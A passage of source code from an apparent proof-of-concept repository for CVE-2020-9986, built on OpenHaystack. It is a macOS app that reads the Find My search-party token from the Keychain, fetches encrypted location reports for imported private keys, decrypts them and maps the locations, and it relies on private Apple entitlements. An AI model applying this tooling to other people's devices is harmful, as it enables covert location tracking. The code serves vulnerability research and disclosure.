NSLog(@"Failed");
return nil;
}
privateKeyNum = BN_bin2bn(privateKeyData.bytes, privateKeyData.length, nil);
EC_KEY_set_private_key(key, privateKeyNum);
//Free the big numbers
BN_CTX_free(ctx);
return key;
}
/// Derive a public key from a given private key
/// @param privateKeyData an EC private key on the P-224 curve
+ (NSData * _Nullable) derivePublicKeyFromPrivateKey: (NSData*) privateKeyData {
EC_GROUP *curve = EC_GROUP_new_by_curve_name(NID_secp224r1);
EC_KEY *key = [self deriveEllipticCurvePrivateKey:privateKeyData group:curve];
const EC_POINT *publicKey = EC_KEY_get0_public_key(key);
size_t keySize = 28 + 1;
NSMutableData *publicKeyBytes = [[NSMutableData alloc] initWithLength:keySize];
size_t size = EC_POINT_point2oct(curve, publicKey, POINT_CONVERSION_COMPRESSED, publicKeyBytes.mutableBytes, keySize, NULL);
if (size == 0) {
return nil;
}
return publicKeyBytes;
}
+ (NSData * _Nullable)generateNewPrivateKey {
EC_KEY *key = EC_KEY_new_by_curve_name(NID_secp224r1);
if (EC_KEY_generate_key_fips(key) == 0) {
return nil;
}
const BIGNUM *privateKey = EC_KEY_get0_private_key(key);
size_t keySize = BN_num_bytes(privateKey);
//Convert to bytes
NSMutableData *privateKeyBytes = [[NSMutableData alloc] initWithLength:keySize];
size_t size = BN_bn2bin(privateKey, privateKeyBytes.mutableBytes);
if (size == 0) {
return nil;
}
return privateKeyBytes;
}
+ (void) printPoint: (const EC_POINT *)point withGroup:(EC_GROUP *)group {
NSMutableData *pointData = [[NSMutableData alloc] initWithLength:256];
size_t len = pointData.length;
BN_CTX *ctx = BN_CTX_new();
BN_CTX_start(ctx);
size_t res = EC_POINT_point2oct(group, point, POINT_CONVERSION_UNCOMPRESSED, pointData.mutableBytes, len, ctx);
//Free the big numbers
BN_CTX_free(ctx);
NSData *written = [[NSData alloc] initWithBytes:pointData.bytes length:res];
NSLog(@"Point data is: %@", [written base64EncodedStringWithOptions:0]);
}
@end
================================================
FILE: CVE-2020-9986/OFReadKeys/OFFetchReports/BoringSSL/Bridging-Header.h
================================================
//
// Bridging-Header.h
// OFReadKeys
//
// Created by Alex - SEEMOO on 04.03.21.
// Copyright © 2021 SEEMOO - TU Darmstadt. All rights reserved.
//
#ifndef Bridging_Header_h
#define Bridging_Header_h
#import "BoringSSL.h"
#import "ReportsFetcher.h"
#endif /* Bridging_Header_h */
================================================
FILE: CVE-2020-9986/OFReadKeys/OFFetchReports/ContentView.swift
================================================
//
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
//
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
// Copyright © 2021 The Open Wireless Link Project
//
// SPDX-License-Identifier: AGPL-3.0-only
//
import SwiftUI
struct ContentView: View {
var body: some View {
Text("Hello, World!")
.frame(maxWidth: .infinity, maxHeight: .infinity)
}
}
struct ContentView_Previews: PreviewProvider {
static var previews: some View {
ContentView()
}
}
================================================
FILE: CVE-2020-9986/OFReadKeys/OFFetchReports/FindMy/DecryptReports.swift
================================================
//
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
//
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
// Copyright © 2021 The Open Wireless Link Project
//
// SPDX-License-Identifier: AGPL-3.0-only
//
import CryptoKit
import Foundation
struct DecryptReports {
/// Decrypt a find my report with the according key
/// - Parameters:
/// - report: An encrypted FindMy Report
/// - key: A FindMyKey
/// - Throws: Errors if the decryption fails
/// - Returns: An decrypted location report
static func decrypt(report: FindMyReport, with key: FindMyKey) throws -> FindMyLocationReport {
let payloadData = report.payload
let keyData = key.privateKey
let privateKey = keyData
let ephemeralKey = payloadData.subdata(in: 5..<62)
guard
let sharedKey = BoringSSL.deriveSharedKey(
fromPrivateKey: privateKey,
andEphemeralKey: ephemeralKey)
else {
throw FindMyError.decryptionError(description: "Failed generating shared key")
}
let derivedKey = self.kdf(fromSharedSecret: sharedKey, andEphemeralKey: ephemeralKey)
print("Derived key \(derivedKey.base64EncodedString())")
let encData = payloadData.subdata(in: 62..<72)
let tag = payloadData.subdata(in: 72..<payloadData.endIndex)
let decryptedContent = try self.decryptPayload(
payload: encData, symmetricKey: derivedKey, tag: tag)
let locationReport = self.decode(content: decryptedContent, report: report)
print(locationReport)
return locationReport
}
/// Decrypt the payload
/// - Parameters:
/// - payload: Encrypted payload part
/// - symmetricKey: Symmetric key
/// - tag: AES GCM tag
/// - Throws: AES GCM error
/// - Returns: Decrypted error
static func decryptPayload(payload: Data, symmetricKey: Data, tag: Data) throws -> Data {
let decryptionKey = symmetricKey.subdata(in: 0..<16)
let iv = symmetricKey.subdata(in: 16..<symmetricKey.endIndex)
print("Decryption Key \(decryptionKey.base64EncodedString())")
print("IV \(iv.base64EncodedString())")
let sealedBox = try AES.GCM.SealedBox(
nonce: AES.GCM.Nonce(data: iv), ciphertext: payload, tag: tag)
let symKey = SymmetricKey(data: decryptionKey)
let decrypted = try AES.GCM.open(sealedBox, using: symKey)
return decrypted
}
static func decode(content: Data, report: FindMyReport) -> FindMyLocationReport {
var longitude: Int32 = 0
_ = withUnsafeMutableBytes(of: &longitude, { content.subdata(in: 4..<8).copyBytes(to: $0) })
longitude = Int32(bigEndian: longitude)
var latitude: Int32 = 0
_ = withUnsafeMutableBytes(of: &latitude, { content.subdata(in: 0..<4).copyBytes(to: $0) })
latitude = Int32(bigEndian: latitude)
var accuracy: UInt8 = 0
_ = withUnsafeMutableBytes(of: &accuracy, { content.subdata(in: 8..<9).copyBytes(to: $0) })
let latitudeDec = Double(latitude) / 10000000.0
let longitudeDec = Double(longitude) / 10000000.0
return FindMyLocationReport(
lat: latitudeDec, lng: longitudeDec, acc: accuracy, dP: report.datePublished,
t: report.timestamp, c: report.confidence)
}
static func kdf(fromSharedSecret secret: Data, andEphemeralKey ephKey: Data) -> Data {
var shaDigest = SHA256()
shaDigest.update(data: secret)
var counter: Int32 = 1
let counterData = Data(
Data(bytes: &counter, count: MemoryLayout.size(ofValue: counter)).reversed())
shaDigest.update(data: counterData)
shaDigest.update(data: ephKey)
let derivedKey = shaDigest.finalize()
return Data(derivedKey)
}
}
================================================
FILE: CVE-2020-9986/OFReadKeys/OFFetchReports/FindMy/FindMyController.swift
================================================
//
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
//
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
// Copyright © 2021 The Open Wireless Link Project
//
// SPDX-License-Identifier: AGPL-3.0-only
//
import Combine
import Foundation
import SwiftUI
class FindMyController: ObservableObject {
static let shared = FindMyController()
@Published var error: Error?
@Published var devices = [FindMyDevice]()
func loadPrivateKeys(
from data: Data, with searchPartyToken: Data, completion: @escaping (Error?) -> Void
) {
do {
let devices = try PropertyListDecoder().decode([FindMyDevice].self, from: data)
self.devices.append(contentsOf: devices)
self.fetchReports(with: searchPartyToken, completion: completion)
} catch {
self.error = FindMyErrors.decodingPlistFailed(message: String(describing: error))
}
}
func importReports(reports: [FindMyReport], and keys: Data, completion: @escaping () -> Void)
throws
{
var devices = try PropertyListDecoder().decode([FindMyDevice].self, from: keys)
// Decrypt the reports with the imported keys
DispatchQueue.global(qos: .background).async {
// Add the reports to the according device by finding the right key for the report
for report in reports {
guard
let deviceIndex = devices.firstIndex(where: { (device) -> Bool in
device.keys.contains { (key) -> Bool in
key.hashedKey.base64EncodedString() == report.id
}
})
else {
print("No device found for id")
continue
}
if var reports = devices[deviceIndex].reports {
reports.append(report)
devices[deviceIndex].reports = reports
} else {
devices[deviceIndex].reports = [report]
}
}
self.devices = devices
// Decrypt the reports
self.decryptReports {
self.exportDevices()
DispatchQueue.main.async {
completion()
}
}
}
}
func importDevices(devices: Data) throws {
var devices = try PropertyListDecoder().decode([FindMyDevice].self, from: devices)
// Delete the decrypted reports
for idx in devices.startIndex..<devices.endIndex {
devices[idx].decryptedReports = nil
}
self.devices = devices
// Decrypt reports again with additional information
self.decryptReports {
}
}
func fetchReports(with searchPartyToken: Data, completion: @escaping (Error?) -> Void) {
DispatchQueue.global(qos: .background).async {
let fetchReportGroup = DispatchGroup()
let fetcher = ReportsFetcher()
var devices = self.devices
for deviceIndex in 0..<devices.count {
fetchReportGroup.enter()
devices[deviceIndex].reports = []
// Only use the newest keys for testing
let keys = devices[deviceIndex].keys
let keyHashes = keys.map({ $0.hashedKey.base64EncodedString() })
// 21 days
let duration: Double = (24 * 60 * 60) * 21
let startDate = Date() - duration
fetcher.query(
forHashes: keyHashes,
start: startDate,
duration: duration,
searchPartyToken: searchPartyToken
) { jd in
guard let jsonData = jd else {
fetchReportGroup.leave()
return
}
do {
// Decode the report
let report = try JSONDecoder().decode(FindMyReportResults.self, from: jsonData)
devices[deviceIndex].reports = report.results
} catch {
print("Failed with error \(error)")
devices[deviceIndex].reports = []
}
fetchReportGroup.leave()
}
}
// Completion Handler
fetchReportGroup.notify(queue: .main) {
print("Finished loading the reports. Now decrypt them")
// Export the reports to the desktop
var reports = [FindMyReport]()
for device in devices {
for report in device.reports! {
reports.append(report)
}
}
#if EXPORT
if let encoded = try? JSONEncoder().encode(reports) {
let outputDirectory = FileManager.default.urls(
for: .desktopDirectory, in: .userDomainMask
).first!
try? encoded.write(to: outputDirectory.appendingPathComponent("reports.json"))
}
#endif
DispatchQueue.main.async {
self.devices = devices
self.decryptReports {
completion(nil)
}
}
}
}
}
func decryptReports(completion: () -> Void) {
print("Decrypting reports")
// Iterate over all devices
for deviceIdx in 0..<devices.count {
devices[deviceIdx].decryptedReports = []
let device = devices[deviceIdx]
// Map the keys in a dictionary for faster access
guard let reports = device.reports else { continue }
let keyMap = device.keys.reduce(
into: [String: FindMyKey](), { $0[$1.hashedKey.base64EncodedString()] = $1 })
let accessQueue = DispatchQueue(
label: "threadSafeAccess",
qos: .userInitiated,
attributes: .concurrent,
autoreleaseFrequency: .workItem, target: nil)
var decryptedReports = [FindMyLocationReport](
repeating:
FindMyLocationReport(lat: 0, lng: 0, acc: 0, dP: Date(), t: Date(), c: 0),
count: reports.count)
DispatchQueue.concurrentPerform(iterations: reports.count) { (reportIdx) in
let report = reports[reportIdx]
guard let key = keyMap[report.id] else { return }
do {
// Decrypt the report
let locationReport = try DecryptReports.decrypt(report: report, with: key)
accessQueue.async(flags: .barrier) {
decryptedReports[reportIdx] = locationReport
}
} catch {
return
}
}
accessQueue.sync {
devices[deviceIdx].decryptedReports = decryptedReports
}
}
completion()
}
func exportDevices() {
if let encoded = try? PropertyListEncoder().encode(self.devices) {
let outputDirectory = FileManager.default.urls(for: .desktopDirectory, in: .userDomainMask)
.first!
try? encoded.write(to: outputDirectory.appendingPathComponent("devices-\(Date()).plist"))
}
}
}
struct FindMyControllerKey: EnvironmentKey {
static var defaultValue: FindMyController = .shared
}
extension EnvironmentValues {
var findMyController: FindMyController {
get { self[FindMyControllerKey.self] }
set { self[FindMyControllerKey.self] = newValue }
}
}
enum FindMyErrors: Error {
case decodingPlistFailed(message: String)
}
================================================
FILE: CVE-2020-9986/OFReadKeys/OFFetchReports/FindMy/FindMyKeyDecoder.swift
================================================
//
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
//
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
// Copyright © 2021 The Open Wireless Link Project
//
// SPDX-License-Identifier: AGPL-3.0-only
//
import CryptoKit
import Foundation
/// Decode key files found in newer macOS versions.
class FindMyKeyDecoder {
/// Key files can be in different format.
/// The old <= 10.15.3 have been using normal plists.
/// Newer once use a binary format which needs different parsing
enum KeyFileFormat {
// swiftlint:disable identifier_name
/// Catalina > 10.15.4 key file format | Big Sur 11.0 Beta 1 uses a similar key
/// file format that can be parsed identically.
/// macOS 10.15.7 uses a new key file format that has not been reversed yet.
/// (The key files are protected by sandboxing and only usable from a SIP disabled)
case catalina_10_15_4
}
var fileFormat: KeyFileFormat?
func parse(keyFile: Data) throws -> [FindMyKey] {
// Detect the format at first
if fileFormat == nil {
try self.checkFormat(for: keyFile)
}
guard let format = self.fileFormat else {
throw ParsingError.unsupportedFormat
}
switch format {
case .catalina_10_15_4:
let keys = try self.parseBinaryKeyFiles(from: keyFile)
return keys
}
}
func checkFormat(for keyFile: Data) throws {
// Key files need to start with KEY = 0x4B 45 59
let magicBytes = keyFile.subdata(in: 0..<3)
guard magicBytes == Data([0x4b, 0x45, 0x59]) else {
throw ParsingError.wrongMagicBytes
}
// Detect zeros
let potentialZeros = keyFile[15..<31]
guard potentialZeros == Data(repeating: 0x00, count: 16) else {
throw ParsingError.wrongFormat
}
// Should be big sur
self.fileFormat = .catalina_10_15_4
}
fileprivate func parseBinaryKeyFiles(from keyFile: Data) throws -> [FindMyKey] {
var keys = [FindMyKey]()
// First key starts at 32
var i = 32
while i + 117 < keyFile.count {
// We could not identify what those keys were
_ = keyFile.subdata(in: i..<i + 32)
i += 32
if keyFile[i] == 0x00 {
// Public key only.
// No need to parse it. Just skip to the next key
i += 86
continue
}
guard keyFile[i] == 0x01 else {
throw ParsingError.wrongFormat
}
// Step over 0x01
i += 1
// Read the key (starting with 0x04)
let fullKey = keyFile.subdata(in: i..<i + 85)
i += 85
// Create the sub keys. No actual need,
// but we do that to put them into a similar format as used before 10.15.4
let advertisedKey = fullKey.subdata(in: 1..<29)
let yCoordinate = fullKey.subdata(in: 29..<57)
var shaDigest = SHA256()
shaDigest.update(data: advertisedKey)
let hashedKey = Data(shaDigest.finalize())
let fmKey = FindMyKey(
advertisedKey: advertisedKey,
hashedKey: hashedKey,
privateKey: fullKey,
startTime: nil,
duration: nil,
pu: nil,
yCoordinate: yCoordinate,
fullKey: fullKey)
keys.append(fmKey)
}
return keys
}
enum ParsingError: Error {
case wrongMagicBytes
case wrongFormat
case unsupportedFormat
}
}
================================================
FILE: CVE-2020-9986/OFReadKeys/OFFetchReports/FindMy/Models.swift
================================================
//
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
//
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
// Copyright © 2021 The Open Wireless Link Project
//
// SPDX-License-Identifier: AGPL-3.0-only
//
// swiftlint:disable identifier_name
import CoreLocation
import Foundation
struct FindMyDevice: Codable, Hashable {
let deviceId: String
var keys = [FindMyKey]()
var catalinaBigSurKeyFiles: [Data]?
/// KeyHash: Report results
var reports: [FindMyReport]?
var decryptedReports: [FindMyLocationReport]?
func hash(into hasher: inout Hasher) {
hasher.combine(deviceId)
}
static func == (lhs: FindMyDevice, rhs: FindMyDevice) -> Bool {
lhs.deviceId == rhs.deviceId
}
}
struct FindMyKey: Codable {
internal init(
advertisedKey: Data, hashedKey: Data, privateKey: Data, startTime: Date?, duration: Double?,
pu: Data?, yCoordinate: Data?, fullKey: Data?
) {
self.advertisedKey = advertisedKey
self.hashedKey = hashedKey
// The private key should only be 28 bytes long. If a 85 bytes full private public key is entered we truncate it here
if privateKey.count == 85 {
self.privateKey = privateKey.subdata(in: 57..<privateKey.endIndex)
} else {
self.privateKey = privateKey
}
self.startTime = startTime
self.duration = duration
self.pu = pu
self.yCoordinate = yCoordinate
self.fullKey = fullKey
}
init(from decoder: Decoder) throws {
let container = try decoder.container(keyedBy: CodingKeys.self)
self.advertisedKey = try container.decode(Data.self, forKey: .advertisedKey)
self.hashedKey = try container.decode(Data.self, forKey: .hashedKey)
let privateKey = try container.decode(Data.self, forKey: .privateKey)
if privateKey.count == 85 {
self.privateKey = privateKey.subdata(in: 57..<privateKey.endIndex)
} else {
self.privateKey = privateKey
}
self.startTime = try? container.decode(Date.self, forKey: .startTime)
self.duration = try? container.decode(Double.self, forKey: .duration)
self.pu = try? container.decode(Data.self, forKey: .pu)
self.yCoordinate = try? container.decode(Data.self, forKey: .yCoordinate)
self.fullKey = try? container.decode(Data.self, forKey: .fullKey)
}
/// The advertising key
let advertisedKey: Data
/// Hashed advertisement key using SHA256
let hashedKey: Data
/// The private key from which the advertisement keys can be derived
let privateKey: Data
/// When this key was used to send out BLE advertisements
let startTime: Date?
/// Duration from start time how long the key has been used to send out BLE advertisements
let duration: Double?
/// ?
let pu: Data?
/// As exported from Big Sur
let yCoordinate: Data?
/// As exported from BigSur
let fullKey: Data?
}
struct FindMyReportResults: Codable {
let results: [FindMyReport]
}
struct FindMyReport: Codable {
let datePublished: Date
let payload: Data
let id: String
let statusCode: Int
let confidence: UInt8
let timestamp: Date
enum CodingKeys: CodingKey {
case datePublished
case payload
case id
case statusCode
}
init(from decoder: Decoder) throws {
let values = try decoder.container(keyedBy: CodingKeys.self)
let dateTimestamp = try values.decode(Double.self, forKey: .datePublished)
// Convert from milis to time interval
let dP = Date(timeIntervalSince1970: dateTimestamp / 1000)
let df = DateFormatter()
df.dateFormat = "YYYY-MM-dd"
if dP < df.date(from: "2020-01-01")! {
self.datePublished = Date(timeIntervalSince1970: dateTimestamp)
} else {
self.datePublished = dP
}
self.statusCode = try values.decode(Int.self, forKey: .statusCode)
let payloadBase64 = try values.decode(String.self, forKey: .payload)
guard let payload = Data(base64Encoded: payloadBase64) else {
throw DecodingError.dataCorruptedError(
forKey: CodingKeys.payload, in: values, debugDescription: "")
}
self.payload = payload
var timestampData = payload.subdata(in: 0..<4)
let timestamp: Int32 = withUnsafeBytes(of: ×tampData) { (pointer) -> Int32 in
// Convert the endianness
pointer.load(as: Int32.self).bigEndian
}
// It's a cocoa time stamp (counting from 2001)
self.timestamp = Date(timeIntervalSinceReferenceDate: TimeInterval(timestamp))
self.confidence = payload[4]
self.id = try values.decode(String.self, forKey: .id)
}
func encode(to encoder: Encoder) throws {
var container = encoder.container(keyedBy: CodingKeys.self)
try container.encode(self.datePublished.timeIntervalSince1970 * 1000, forKey: .datePublished)
try container.encode(self.payload.base64EncodedString(), forKey: .payload)
try container.encode(self.id, forKey: .id)
try container.encode(self.statusCode, forKey: .statusCode)
}
}
struct FindMyLocationReport: Codable {
let latitude: Double
let longitude: Double
let accuracy: UInt8
let datePublished: Date
let timestamp: Date?
let confidence: UInt8?
var location: CLLocation {
return CLLocation(latitude: latitude, longitude: longitude)
}
init(lat: Double, lng: Double, acc: UInt8, dP: Date, t: Date, c: UInt8) {
self.latitude = lat
self.longitude = lng
self.accuracy = acc
self.datePublished = dP
self.timestamp = t
self.confidence = c
}
init(from decoder: Decoder) throws {
let values = try decoder.container(keyedBy: CodingKeys.self)
self.latitude = try values.decode(Double.self, forKey: .latitude)
self.longitude = try values.decode(Double.self, forKey: .longitude)
do {
let uAcc = try values.decode(UInt8.self, forKey: .accuracy)
self.accuracy = uAcc
} catch {
let iAcc = try values.decode(Int8.self, forKey: .accuracy)
self.accuracy = UInt8(bitPattern: iAcc)
}
self.datePublished = try values.decode(Date.self, forKey: .datePublished)
self.timestamp = try? values.decode(Date.self, forKey: .timestamp)
self.confidence = try? values.decode(UInt8.self, forKey: .confidence)
}
}
enum FindMyError: Error {
case decryptionError(description: String)
}
================================================
FILE: CVE-2020-9986/OFReadKeys/OFFetchReports/Info.plist
================================================
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleDevelopmentRegion</key>
<string>$(DEVELOPMENT_LANGUAGE)</string>
<key>CFBundleExecutable</key>
<string>$(EXECUTABLE_NAME)</string>
<key>CFBundleIconFile</key>
<string></string>
<key>CFBundleIdentifier</key>
<string>$(PRODUCT_BUNDLE_IDENTIFIER)</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundleName</key>
<string>$(PRODUCT_NAME)</string>
<key>CFBundlePackageType</key>
<string>$(PRODUCT_BUNDLE_PACKAGE_TYPE)</string>
<key>CFBundleShortVersionString</key>
<string>1.0</string>
<key>CFBundleVersion</key>
<string>1</string>
<key>LSMinimumSystemVersion</key>
<string>$(MACOSX_DEPLOYMENT_TARGET)</string>
<key>NSHumanReadableCopyright</key>
<string>Copyright © 2021 SEEMOO - TU Darmstadt. All rights reserved.</string>
<key>NSMainStoryboardFile</key>
<string>Main</string>
<key>NSPrincipalClass</key>
<string>NSApplication</string>
</dict>
</plist>
================================================
FILE: CVE-2020-9986/OFReadKeys/OFFetchReports/MapView.swift
================================================
//
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
//
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
// Copyright © 2021 The Open Wireless Link Project
//
// SPDX-License-Identifier: AGPL-3.0-only
//
import Cocoa
import MapKit
import SwiftUI
struct MapView: NSViewControllerRepresentable {
@Environment(\.findMyController) var findMyController
func makeNSViewController(context: Context) -> MapViewController {
return MapViewController(nibName: NSNib.Name("MapViewController"), bundle: nil)
}
func updateNSViewController(_ nsViewController: MapViewController, context: Context) {
nsViewController.addLocationsReports(from: findMyController.devices)
}
}
================================================
FILE: CVE-2020-9986/OFReadKeys/OFFetchReports/MapViewController.swift
================================================
//
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
//
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
// Copyright © 2021 The Open Wireless Link Project
//
// SPDX-License-Identifier: AGPL-3.0-only
//
import Cocoa
import MapKit
final class MapViewController: NSViewController, MKMapViewDelegate {
@IBOutlet weak var mapView: MKMapView!
var pinsShown = false
override func viewDidLoad() {
super.viewDidLoad()
self.mapView.delegate = self
}
func addLocationsReports(from devices: [FindMyDevice]) {
if !self.mapView.annotations.isEmpty {
self.mapView.removeAnnotations(self.mapView.annotations)
}
// Zoom to first location
if let location = devices.first?.decryptedReports?.first {
let coordinate = CLLocationCoordinate2D(
latitude: location.latitude, longitude: location.longitude)
let span = MKCoordinateSpan(latitudeDelta: 5.0, longitudeDelta: 5.0)
let region = MKCoordinateRegion(center: coordinate, span: span)
self.mapView.setRegion(region, animated: true)
}
// Add pins
for device in devices {
guard let reports = device.decryptedReports else { continue }
for report in reports {
let pin = MKPointAnnotation()
pin.title = device.deviceId
pin.coordinate = CLLocationCoordinate2D(
latitude: report.latitude, longitude: report.longitude)
self.mapView.addAnnotation(pin)
}
}
}
func changeMapType(_ mapType: MKMapType) {
self.mapView.mapType = mapType
}
}
================================================
FILE: CVE-2020-9986/OFReadKeys/OFFetchReports/MapViewController.xib
================================================
<?xml version="1.0" encoding="UTF-8"?>
<document type="com.apple.InterfaceBuilder3.Cocoa.XIB" version="3.0" toolsVersion="16097" targetRuntime="MacOSX.Cocoa" propertyAccessControl="none" useAutolayout="YES" customObjectInstantitationMethod="direct">
<dependencies>
<plugIn identifier="com.apple.InterfaceBuilder.CocoaPlugin" version="16097"/>
<plugIn identifier="com.apple.MapKitIBPlugin" version="16097"/>
<capability name="documents saved in the Xcode 8 format" minToolsVersion="8.0"/>
</dependencies>
<objects>
<customObject id="-2" userLabel="File's Owner" customClass="MapViewController" customModule="OfflineFinder" customModuleProvider="target">
<connections>
<outlet property="mapView" destination="dZd-TY-owu" id="M74-qQ-z9o"/>
<outlet property="view" destination="Hz6-mo-xeY" id="0bl-1N-x8E"/>
</connections>
</customObject>
<customObject id="-1" userLabel="First Responder" customClass="FirstResponder"/>
<customObject id="-3" userLabel="Application" customClass="NSObject"/>
<customView id="Hz6-mo-xeY">
<rect key="frame" x="0.0" y="0.0" width="480" height="272"/>
<autoresizingMask key="autoresizingMask" flexibleMaxX="YES" flexibleMinY="YES"/>
<subviews>
<mapView mapType="standard" translatesAutoresizingMaskIntoConstraints="NO" id="dZd-TY-owu">
<rect key="frame" x="0.0" y="0.0" width="480" height="272"/>
</mapView>
</subviews>
<constraints>
<constraint firstItem="dZd-TY-owu" firstAttribute="top" secondItem="Hz6-mo-xeY" secondAttribute="top" id="IQV-8E-Mz4"/>
<constraint firstAttribute="trailing" secondItem="dZd-TY-owu" secondAttribute="trailing" id="e19-Gs-Swb"/>
<constraint firstAttribute="bottom" secondItem="dZd-TY-owu" secondAttribute="bottom" id="fJ4-IC-PW6"/>
<constraint firstItem="dZd-TY-owu" firstAttribute="leading" secondItem="Hz6-mo-xeY" secondAttribute="leading" id="l08-bw-Y1N"/>
</constraints>
<point key="canvasLocation" x="66" y="37"/>
</customView>
</objects>
</document>
================================================
FILE: CVE-2020-9986/OFReadKeys/OFFetchReports/OFFetchReports.entitlements
================================================
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>com.apple.security.get-task-allow</key>
<true/>
<key>com.apple.authkit.client.private</key>
<true/>
<key>com.apple.private.accounts.allaccounts</key>
<true/>
<key>com.apple.security.network.client</key>
<true/>
</dict>
</plist>
================================================
FILE: CVE-2020-9986/OFReadKeys/OFFetchReports/OFFetchReportsMainView.swift
================================================
//
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
//
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
// Copyright © 2021 The Open Wireless Link Project
//
// SPDX-License-Identifier: AGPL-3.0-only
//
import SwiftUI
struct OFFetchReportsMainView: View {
@Environment(\.findMyController) var findMyController
@State var targetedDrop: Bool = false
@State var error: Error?
@State var showMap = false
@State var loading = false
@State var searchPartyToken: Data?
@State var searchPartyTokenString: String = ""
@State var keyPlistFile: Data?
@State var showTokenPrompt = false
var dropView: some View {
ZStack(alignment: .center) {
HStack {
Spacer()
Spacer()
}
VStack {
Spacer()
Text("Drop exported keys here")
.font(Font.system(size: 44, weight: .bold, design: .default))
.padding()
Text("The keys can be exported into the right format using the Read FindMy Keys App.")
.font(.body)
.multilineTextAlignment(.center)
.padding()
Spacer()
}
}
.background(
RoundedRectangle(cornerRadius: 20.0)
.stroke(
Color.gray,
style: StrokeStyle(
lineWidth: 5.0, lineCap: .round, lineJoin: .round, miterLimit: 10, dash: [15]))
)
.padding()
.onDrop(of: ["public.file-url"], isTargeted: self.$targetedDrop) { (droppedData) -> Bool in
return self.droppedData(data: droppedData)
}
}
var loadingView: some View {
VStack {
Text("Downloading locations and decrypting...")
.font(Font.system(size: 44, weight: .bold, design: .default))
.padding()
}
}
/// This view is shown if the search party token cannot be accessed from keychain
var missingSearchPartyTokenView: some View {
VStack {
Text("Search Party token could not be fetched")
Text("Please paste the search party token below after copying it from the macOS Keychain.")
Text("The item that contains the key can be found by searching for: ")
Text("com.apple.account.DeviceLocator.search-party-token")
.font(.system(Font.TextStyle.body, design: Font.Design.monospaced))
TextField("Search Party Token", text: self.$searchPartyTokenString)
Button(
action: {
if !self.searchPartyTokenString.isEmpty,
let file = self.keyPlistFile,
let searchPartyToken = self.searchPartyTokenString.data(using: .utf8)
{
self.searchPartyToken = searchPartyToken
self.downloadAndDecryptLocations(with: file, searchPartyToken: searchPartyToken)
}
},
label: {
Text("Download reports")
})
}
}
var mapView: some View {
ZStack {
MapView()
VStack {
HStack {
Spacer()
Button(
action: {
self.showMap = false
self.showTokenPrompt = false
},
label: {
Text("Import other tokens")
})
Button(
action: {
self.exportDecryptedLocations()
},
label: {
Text("Export")
})
}
.padding()
Spacer()
}
}
}
var body: some View {
GeometryReader { geo in
if self.loading {
self.loadingView
} else if self.showMap {
self.mapView
} else if self.showTokenPrompt {
self.missingSearchPartyTokenView
} else {
self.dropView
.frame(width: geo.size.width, height: geo.size.height)
}
}
}
// swiftlint:disable identifier_name
func droppedData(data: [NSItemProvider]) -> Bool {
guard let itemProvider = data.first else { return false }
itemProvider.loadItem(forTypeIdentifier: "public.file-url", options: nil) { (u, _) in
guard let urlData = u as? Data,
let fileURL = URL(dataRepresentation: urlData, relativeTo: nil),
// Only plist supported
fileURL.pathExtension == "plist",
// Load the file
let file = try? Data(contentsOf: fileURL)
else { return }
print("Received data \(fileURL)")
self.keyPlistFile = file
let reportsFetcher = ReportsFetcher()
self.searchPartyToken = reportsFetcher.fetchSearchpartyToken()
if let searchPartyToken = self.searchPartyToken {
self.downloadAndDecryptLocations(with: file, searchPartyToken: searchPartyToken)
} else {
self.showTokenPrompt = true
}
}
return true
}
func downloadAndDecryptLocations(with keyFile: Data, searchPartyToken: Data) {
self.loading = true
self.findMyController.loadPrivateKeys(
from: keyFile, with: searchPartyToken,
completion: { error in
// Check if an error occurred
guard error == nil else {
self.error = error
return
}
// Show map view
self.loading = false
self.showMap = true
})
}
func exportDecryptedLocations() {
do {
let devices = self.findMyController.devices
let deviceData = try PropertyListEncoder().encode(devices)
SavePanel().saveFile(file: deviceData, fileExtension: "plist")
} catch {
print("Error: \(error)")
}
}
}
struct ContentView_Previews: PreviewProvider {
static var previews: some View {
OFFetchReportsMainView()
}
}
================================================
FILE: CVE-2020-9986/OFReadKeys/OFFetchReports/Preview Content/Preview Assets.xcassets/Contents.json
================================================
{
"info" : {
"author" : "xcode",
"version" : 1
}
}
================================================
FILE: CVE-2020-9986/OFReadKeys/OFFetchReports/ReportsFetcher/ReportsFetcher.h
================================================
//
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
//
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
// Copyright © 2021 The Open Wireless Link Project
//
// SPDX-License-Identifier: AGPL-3.0-only
//
#import <Foundation/Foundation.h>
//https://github.com/Matchstic/ReProvision/issues/96#issuecomment-551928795
#import <Security/Security.h>
NS_ASSUME_NONNULL_BEGIN
@interface AKAppleIDSession : NSObject
- (id)_pairedDeviceAnisetteController;
- (id)_nativeAnisetteController;
- (void)_handleURLResponse:(id)arg1 forRequest:(id)arg2 withCompletion:(id)arg3;
- (void)_generateAppleIDHeadersForSessionTask:(id)arg1 withCompletion:(id)arg2;
- (id)_generateAppleIDHeadersForRequest:(id)arg1 error:(id)arg2;
- (id)_genericAppleIDHeadersDictionaryForRequest:(id)arg1;
